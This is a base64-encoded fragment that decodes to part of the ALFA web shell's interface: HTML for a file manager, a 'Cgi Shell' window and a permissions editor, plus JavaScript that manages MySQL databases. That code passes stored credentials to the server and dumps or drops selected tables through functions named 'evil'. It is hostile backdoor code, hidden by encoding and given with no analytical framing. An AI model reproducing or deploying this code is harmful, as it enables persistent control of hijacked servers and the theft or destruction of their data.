dG9wOiAxNXB4Oyc+RGF0YWJhc2U8L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0nb3B0aW9uc193aW5kb3ctbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwib3B0aW9uc193aW5kb3dcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogNHB4OycgY2xhc3M9J21pbmltaXplZC10ZXh0Jz5PcHRpb25zPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J2VkaXRvci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJlZGl0b3JcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogMnB4OycgY2xhc3M9J21pbmltaXplZC10ZXh0Jz5FZGl0b3I8L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0nY2dpbG9hZGVyLW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImNnaWxvYWRlclwiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48c3BhbiBjbGFzcz0nb3B0aW9uc19taW5fYmFkZ2UnPjA8L3NwYW4+PGRpdiBzdHlsZT0ndG9wOiAxMnB4OycgY2xhc3M9J21pbmltaXplZC10ZXh0Jz5DZ2kgU2hlbGw8L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0ncmlnaHRjbGlja19tZW51Jz4KICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJyBuYW1lPSduZXd0YWInPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L25ld3RhYi5zdmdcIj4gT3BlbiBpbiBuZXcgdGFiPC9hPgogIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScnIG5hbWU9J2xpbmsnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2xpbmsuc3ZnXCI+IE9wZW4gZmlsZSBkaXJlY3RseTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkb3dubG9hZCc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZG93bmxvYWQyLnN2Z1wiPiBEb3dubG9hZDwvYT4KICA8YSBocmVmPScnIG5hbWU9J3ZpZXcnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3ZpZXcuc3ZnXCI+IFZpZXc8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVN5bmNNZW51VG9PcHQodGhpcyk7JyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J3ZpZXdfYXJjaGl2ZSc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdmlldy5zdmdcIj4gVmlldyBBcmNoaXZlPC9hPgogIDxhIGhyZWY9JycgbmFtZT0nZWRpdCc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZWRpdC5zdmdcIj4gRWRpdDwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJtb3ZlXCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBocmVmPScnIGhyZWY9JycgbmFtZT0nbW92ZSc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvbW92ZS5zdmdcIj4gTW92ZTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJjb3B5XCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBocmVmPScnIG5hbWU9J2NvcHknPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2NvcHkuc3ZnXCI+IENvcHk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwicmVuYW1lXCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdyZW5hbWUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3JlbmFtZS5zdmdcIj4gIFJlbmFtZTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJtb2RpZnlcIik7JyBmdHlwZT0nJyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J21vZGlmeSc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGltZS5zdmdcIj4gIE1vZGlmeTwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhUG9wdXBBY3Rpb24odGhpcywgXCJwZXJtaXNzaW9uXCIpOycgbmFtZT0ncGVybWlzc2lvbic+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUva2V5LnN2Z1wiPiBDaGFuZ2UgUGVybWlzc2lvbnM8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVN5bmNNZW51VG9PcHQodGhpcyk7JyBwYXRoPScnIGZuYW1lPScnIG5hbWU9J2NvbXByZXNzJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9yZXNpemUuc3ZnXCI+IENvbXByZXNzPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdleHRyYWN0Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9pbmNyZWFzZS5zdmdcIj4gRXh0cmFjdDwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBuYW1lPSdkZWxldGUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmdcIj4gRGVsZXRlPC9hPgo8L2Rpdj4KPGRpdiBpZD1cImZpbGVzbWFuLXRhYi1mdWxsLXBhdGhcIj48L2Rpdj4KPGRpdiBpZD0nYWxlcnQtYXJlYScgY2xhc3M9J2FsZXJ0LWFyZWEnPjwvZGl2Pgo8ZGl2IGNsYXNzPSdjbC1wb3B1cC1maXhlZCcgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8ZGl2IGlkPSdzaG9ydGN1dE1lbnUtaG9sZGVyJz4KPGRpdiBjbGFzcz0ncG9wdXAtaGVhZCc+PC9kaXY+Cjxmb3JtIGF1dG9jb21wbGV0ZT0nb2ZmJyBvblN1Ym1pdD0ncmV0dXJuIGZhbHNlOyc+CjxsYWJlbCBjbGFzcz0nb2xkLXBhdGgtbGJsJz48L2xhYmVsPgo8ZGl2IHN0eWxlPSdvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CjxsYWJlbCBzdHlsZT0nbWFyZ2luLXRvcDoxMHB4OycgY2xhc3M9J25ldy1maWxlbmFtZS1sYmwnPk5ldyBmaWxlIG5hbWU8L2xhYmVsPgo8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm5hbWUnPgo8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+Cjx0YWJsZT4KICAgPHRib2R5PgogIDx0cj4KIDx0ZD48Yj5Nb2RlPC9iPjwvdGQ+CiA8dGQ+VXNlcjwvdGQ+CiA8dGQ+R3JvdXA8L3RkPgogPHRkPldvcmxkPC90ZD4KICA8L3RyPgogIDx0cj4KIDx0ZD5SZWFkPC90ZD4KIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3VyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CiA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdncicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgogPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIHZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KICA8L3RyPgogIDx0cj4KIDx0ZD5Xcml0ZTwvdGQ+CiA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgogPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3d3JyB2YWx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CiAgPC90cj4KICA8dHI+CiA8dGQ+RXhlY3V0ZTwvdGQ+CiA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgogPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CiAgPC90cj4KICA8dHI+CiA8dGQ+UGVybWlzc2lvbjwvdGQ+CiA8dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDo2MHB4OycgdHlwZT0ndGV4dCcgbmFtZT0ndScgbWF4bGVuZ3RoPScxJyBvbmlucHV0PSd0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTddL2csMCk7YXV0b0NoZWNrUGVybXModGhpcy52YWx1ZSwgXCJ1XCIsIFtcInVcIl0pOyc+PC90ZD4KIDx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjYwcHg7JyB0eXBlPSd0ZXh0JyBuYW1lPSdnJyBtYXhsZW5ndGg9JzEnIG9uaW5wdXQ9J3RoaXMudmFsdWU9dGhpcy52YWx1ZS5yZXBsYWNlKC9bXjAtN10vZywwKTthdXRvQ2hlY2tQZXJtcyh0aGlzLnZhbHVlLCBcImdcIiwgW1wiZ1wiXSk7Jz48L3RkPgogPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CiAgPC90cj4KICAgPC90Ym9keT4KPC90YWJsZT4KPC9kaXY+Cgo8L2Zvcm0+CjxkaXYgY2xhc3M9J3BvcHVwLWZvb3QnPgo8YnV0dG9uIHN0eWxlPSdiYWNrZ3JvdW5kOiAjMmI1MjI1OycgbmFtZT0nYWNjZXB0JyBhY3Rpb249Jycgb25jbGljaz0nYWxmYVBvcFVwRG9BY3Rpb24odGhpcyk7Jz48L2J1dHRvbj4KPGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzllMmMyYzsnIG9uY2xpY2s9J2QucXVlcnlTZWxlY3RvcihcIi5jbC1wb3B1cC1maXhlZFwiKS5zdHlsZS5kaXNwbGF5PVwibm9uZVwiOyc+Q2FuY2VsbDwvYnV0dG9uPgo8L2Rpdj4KPC9kaXY+CjwvZGl2PiI7Pz4KPHNjcmlwdD4KZnVuY3Rpb24gYWxmYU15c3FsQXBpKGUsdCl7dmFyIGE9e2hvc3Q6bXlzcWxfY2FjaGVbZS5kYl9pZF0uaG9zdCx1c2VyOm15c3FsX2NhY2hlW2UuZGJfaWRdLnVzZXIscGFzczpteXNxbF9jYWNoZVtlLmRiX2lkXS5wYXNzLGRiOmUuZGJfdGFyZ2V0LGRiX2lkOmUuZGJfaWR9O2lmKGUuaGFzT3duUHJvcGVydHkoImRiX2luZm8iKSlmb3IodmFyIGkgaW4gZS5kYl9pbmZvKWFbaV09ZS5kYl9pbmZvW2ldO3ZhciBsPXthOmFsZmFiNjQoIlNxbF9tYW5hZ2VyX2FwaSIpLGNfOmFsZmFiNjQoY18pLGFsZmExOmFsZmFiNjQoSlNPTi5zdHJpbmdpZnkoYSkpfTtpZihlLmhhc093blByb3BlcnR5KCJwb3N0IikpZm9yKHZhciBpIGluIGUucG9zdC5oYXNPd25Qcm9wZXJ0eSgiYWxmYTIiKSYmImxvYWRfZGF0YSIhPWUucG9zdC5hbGZhMiYmInBhZ2UiIT1lLnBvc3QuYWxmYTImJiJlZGl0IiE9ZS5wb3N0LmFsZmEyJiYiZGVsZXRlIiE9ZS5wb3N0LmFsZmEyJiYoZC5xdWVyeVNlbGVjdG9yKCIjIitlLmRiX2lkKyIgLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPSIiLGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1yZXBvcnRlciIpLmlubmVySFRNTD0iIiksZS5wb3N0KWxbaV09YWxmYWI2NChlLnBvc3RbaV0pO3ZhciByPSIiO2Zvcih2YXIgbyBpbiBsKXIrPW8rIj0iK2xbb10rIiYiO2FsZmFsb2FkZXIoZS5kYl9pZCwiYmxvY2siKSxfQWpheChkLlVSTCxyLGZ1bmN0aW9uKGEpe2FsZmFsb2FkZXIoZS5kYl9pZCwibm9uZSIpLHQoYSl9LCEwLGUuZGJfaWQpfWZ1bmN0aW9uIGFsZmFNeXNxbEZpbHRlclRhYmxlKGUsdCl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPSIiLGk9IiIsbD0oYT0iIiwiIik7aWYobnVsbCE9ZSlhPWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9ZS52YWx1ZTtlbHNlIGE9dC50YXJnZXQsaT10LmRiX2lkLGw9dC52YWx1ZTtsPW5ldyBSZWdFeHAobCwiaSIpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIraSsiICIrYSsiIHVsID4gbGkiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3ZhciB0PWUucXVlcnlTZWxlY3RvcigiLm15c3FsX3RhYmxlcyIpO2lmKG51bGw9PXQpcmV0dXJuITE7LTE9PSh0PXQuaW5uZXJUZXh0KS5zZWFyY2gobCk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9ImJsb2NrIn0pfSwyMDApfWZ1bmN0aW9uIGFsZmFNeXNxbEZpbHRlckFsbFRhYmxlKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIGlucHV0W25hbWU9ZmlsdGVyX2FsbF0iKS52YWx1ZSxsPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIGlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQscj1bXSxvPVtdO2lmKGQucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiIC5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX25hbWUiKTsibm8iPT10JiZyLnB1c2goYSksby5wdXNoKGEpfSksci5sZW5ndGg+MCl7aWYoMD09aS5sZW5ndGgmJnZvaWQgMD09PXQpcmV0dXJuITE7YWxmYU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDpyWzBdLGFqYXhfaWQ6Im15c3FsX2dldF9hbGxfdGFibGVzIixkYl9pbmZvOntkYXRhYmFzZXM6cn0scG9zdDp7YWxmYTI6ImxvYWRfYWxsX3RhYmxlcyIsYWxmYTM6bH19LGZ1bmN0aW9uKHIpe2lmKDAhPXIubGVuZ3RoKXtmb3IodmFyIG8gaW4gcj1KU09OLnBhcnNlKHIpKXt2YXIgbj1vLHM9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK24pO2FsZmFNeXNxbE1ha2VUYmxMaXN0KHJbb10scyxhLG4sbCl9dm9pZCAwPT09dD9hbGZhTXlzcWxGaWx0ZXJUYWJsZShudWxsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvYl9taW51cy5wbmciKX19KX1lbHNlIGlmKHZvaWQgMD09PXQpZm9yKHZhciBuIGluIGFsZmFNeXNxbEZpbHRlclRhYmxlKG51bGwse2RiX2lkOmEsdGFyZ2V0OiIubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIsdmFsdWU6aX0pLG8pYWxmYU15c3FsVGFibGVNb2RlKGEsb1tuXSwiY2xvc2VkIik7ZWxzZXt2YXIgcz0iIixjPWUuZ2V0QXR0cmlidXRlKCJtb2RlIik7Zm9yKHZhciBuIGluIm9wZW5lZCI9PWM/KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwiY2xvc2VkIikscz0iYl9wbHVzLnBuZyIpOihlLnNldEF0dHJpYnV0ZSgibW9kZSIsIm9wZW5lZCIpLHM9ImJfbWludXMucG5nIiksbylhbGZhTXlzcWxUYWJsZU1vZGUoYSxvW25dLGMpO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC10YWJsZXMgLnBhcmVudC1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK3N9fWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlTW9kZShlLHQsYSl7dmFyIGk9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QpLGw9IiI7dm9pZCAwPT09YT8obD0tMSE9aS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiaGlkZS1kYi10YWJsZXMiKT8iYl9taW51cy5wbmciOiJiX3BsdXMucG5nIixpLmNsYXNzTGlzdC50b2dnbGUoImhpZGUtZGItdGFibGVzIikpOiJvcGVuZWQiPT1hPyhsPSJiX3BsdXMucG5nIixpLmNsYXNzTGlzdC5hZGQoImhpZGUtZGItdGFibGVzIikpOihsPSJiX21pbnVzLnBuZyIsaS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlLWRiLXRhYmxlcyIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAuY2xzLSIrdCsiLWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51LyIrbH1mdW5jdGlvbiBhbGZhTXlzcWxFeHBhbmRlcihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWUuZ2V0QXR0cmlidXRlKCJzcWxfY291bnQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIit0KTsibG9hZGVkIj09bC5nZXRBdHRyaWJ1dGUoIm1vZGUiKT9hbGZhTXlzcWxUYWJsZU1vZGUoYSx0KTphbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfZ2V0X3RhYmxlcyIscG9zdDp7YWxmYTI6ImxvYWRfdGFibGVzIixhbGZhMzppfX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJmFsZmFNeXNxbE1ha2VUYmxMaXN0KGU9SlNPTi5wYXJzZShlKSxsLGEsdCxpKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlc0V2aWwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpOyJjaGVja2VkIj09aT8oaT0hMSxlLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vdCIpKTooaT0hMCxlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNoZWNrZWQiKSksZC5xdWVyeVNlbGVjdG9yQWxsKCIjIithKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQ9aX0pfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlc0R1bXBEcm9wKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9Im5vbmUiOyJkdW1wIj09ZS52YWx1ZSYmKGk9ImJsb2NrIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgIit0KyIgLmR1bXAtZmlsZS1ob2xkZXIiKS5zdHlsZS5kaXNwbGF5PWl9ZnVuY3Rpb24gYWxmYU15c3FsVGFibGVzRHVtcERyb3BCdG4oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksbD1bXSxyPWQucXVlcnlTZWxlY3RvcigiIyIraSsiIGlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQsbz1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAiK3QpLG49by5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT10YWJsZXNfZXZpbF0iKS52YWx1ZSxzPW8ucXVlcnlTZWxlY3RvcigiLmR1bXAtZmlsZS1ob2xkZXIgaW5wdXQiKS52YWx1ZTtkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK3QrIiBpbnB1dFtuYW1lPXRibFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZCYmbC5wdXNoKGUudmFsdWUpfSksbC5sZW5ndGg+MCYmYWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3F1ZXJ5X2V2aWwiLGRiX2luZm86e3RhYmxlczpsLG1vZGU6bixkdW1wX2ZpbGU6c30scG9zdDp7YWxmYTI6ImR1bXBfZHJvcCJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSwiZHJvcCI9PW4/YWxmYU15c3FsTWFrZVRibExpc3QoZSxvLGksYSxyKTpvLnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2PjxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIrcysnIiwiZG93bmxvYWQiKTtcJz48c3Bhbj5Eb3dubG9hZDogJytzKyI8L3NwYW4+PC9hPjwvZGl2PiIpKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbE1ha2VUYmxMaXN0KGUsdCxhLGksbCl7dC5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJsb2FkZWQiKTt2YXIgcj0nPHVsPjxsaT48ZGl2IGNsYXNzPSJibG9jayI+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2PjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgcGxhY2Vob2xkZXI9IkZpbHRlciBUYWJsZSIgdGFyZ2V0PSIuY2xzLScraSsnIiBvbmtleXVwPSJhbGZhTXlzcWxGaWx0ZXJUYWJsZSh0aGlzKTsiIG5hbWU9ImZpbHRlciI+PC9kaXY+PC9saT4nO2Zvcih2YXJvIGluIGUpbnVsbCE9ZVtvXSYmKHIrPSI8bGk+PGRpdiBjbGFzcz0nYmxvY2snPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdiBjbGFzcz0ndGFibGVzLXJvdyc+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIrZVtvXS5uYW1lKyInPiZuYnNwOzxhIGNsYXNzPSdkYi1vcHQtaWQnIGRiX3RhcmdldD0nIitpKyInIGRiX2lkPSciK2ErIicgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz1cImFsZmFMb2FkVGFibGVEYXRhKHRoaXMsICciK2Vbb10ubmFtZSsiJylcIj48c3BhbiBjbGFzcz0nbXlzcWxfdGFibGVzJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iK2Vbb10ubmFtZSsiPC9zcGFuPjwvYT4iKyhsPyIgPHNtYWxsPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnIGNsYXNzPSdteXNxbF90YWJsZV9jb3VudCc+KCIrZVtvXS5jb3VudCsiKTwvc3Bhbj48L3NtYWxsPiI6IiZuYnNwOyIpKyI8L2Rpdj48L2xpPiIpO3IrPSc8L3VsPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OiAyNnB4O21hcmdpbi1ib3R0b206IDEwcHg7bWFyZ2luLXRvcDogMTBweDsiPjxpbnB1dCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRXZpbCh0aGlzKTsiIGRiX2lkPSInK2ErJyIgY2xhc3M9ImRiLW9wdC1pZCIgdGFyZ2V0PSIuY2xzLScraSsnIiB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImRiLW9wdC1pZCI+PHNlbGVjdCBvbmNoYW5nZT0iYWxmYU15c3FsVGFibGVzRHVtcERyb3AodGhpcyk7IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHRhcmdldD0iLmNscy0nK2krJyIgY2xhc3M9ImRiLW9wdC1pZCIgbmFtZT0idGFibGVzX2V2aWwiIHN0eWxlPSJwYWRkaW5nOiAwO3dpZHRoOiAxMDBweDsiPjxvcHRpb24gc2VsZWN0ZWQ+ZHJvcDwvb3B0aW9uPjxvcHRpb24+ZHVtcDwvb3B0aW9uPjwvc2VsZWN0PiA8YnV0dG9uIG9uY2xpY2s9ImFsZmFNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKHRoaXMpO3JldHVybiBmYWxzZTsiIGRiX2lkPSInK2ErJyIgY2xhc3M9ImRiLW9wdC1pZCIgZGJfdGFyZ2V0PSInK2krJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIj5EbyBpdDwvYnV0dG9uPjxkaXYgY2xhc3M9ImR1bXAtZmlsZS1ob2xkZXIiIHN0eWxlPSJkaXNwbGF5Om5vbmU7bWFyZ2luLWxlZnQ6MjBweDttYXJnaW4tdG9wOiA1cHg7Ij48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iZHVtcC5zcWwiIG5hbWU9ImR1bXBfZmlsZSI+PC9kaXY+PC9kaXY+Jyx0LmlubmVySFRNTD1yLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIitpKyItZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb